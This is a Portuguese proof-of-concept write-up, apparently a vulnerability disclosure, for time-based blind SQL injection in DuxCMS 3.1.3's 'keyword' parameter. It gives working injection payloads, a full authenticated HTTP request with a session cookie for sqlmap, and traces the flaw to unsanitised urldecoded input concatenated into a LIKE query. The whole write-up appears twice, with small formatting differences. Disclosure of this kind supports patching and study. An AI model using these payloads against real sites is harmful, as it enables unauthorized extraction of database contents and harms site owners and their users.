
Exploit de prova de conceito para uma vulnerabilidade de injeção SQL cega baseada em tempo no DuxCMS3.1.3, visando o parâmetro 'keyword' com requisições autenticadas e integração com sqlmap.
Endereço do projeto: ****
Trabalho preparatório:
Faça login no backend - obtenha o cookie
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Parâmetro da vulnerabilidade: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Se a injeção for bem-sucedida, o atraso será superior a um segundo; caso contrário, não haverá atraso.

Verificação com sqlmap:
É necessário um cookie.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


O nome do banco de dados atualmente em uso foi obtido com sucesso. Esta vulnerabilidade existe.
Ao pesquisar a partir do parâmetro de injeção: keyword, é possível localizar o local da chamada.
app/system/admin/SystemExtendAdmin.php
Linha: 42.

Usa like para correspondência difusa e não filtra $value; portanto, ao ser incluída na consulta, a vulnerabilidade aparece.
Ao inserir: and(select*from(select sleep(3))a//union//select 1)=

Como mostrado na figura acima: o parâmetro $value é obtido da linha 29 $pageParams = request(); da requisição, e então a linha 32 decodifica $pageParams[$key] com urldecode() para obter nossa instrução SQL maliciosa. Não há medidas defensivas.
Portanto, o payload é concatenado diretamente.

Após a execução, a instrução SQL completa é:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Trabalho preparatório:
Faça login no backend - obtenha o cookie.
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Parâmetro da vulnerabilidade: keyword
payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Se a injeção for bem-sucedida, o atraso será superior a um segundo; caso contrário, não haverá atraso.

Verificação com sqlmap:
É necessário um cookie.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


O nome do banco de dados atualmente em uso foi obtido com sucesso.
Esta vulnerabilidade existe.
Ao pesquisar a partir do parâmetro de injeção: keyword, é possível localizar o local da chamada.
App/system/admin/SystemExtendAdmin.php.
Linha 42.

Há uma vulnerabilidade na consulta porque ela usa like para correspondência difusa e não filtra $value.
Ao inserir: and (select*from (select sleep (3)) a//union//select 1) =

Como mostrado na figura acima: o parâmetro $value é obtido da linha 29 $pageParams = request (); da requisição, e então a linha 32 decodifica $pageParams [$key] com urldecode () para obter nossa instrução SQL maliciosa.
Não há medidas defensivas.
Portanto, o payload é concatenado diretamente.

Após a execução, a instrução SQL completa é:
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')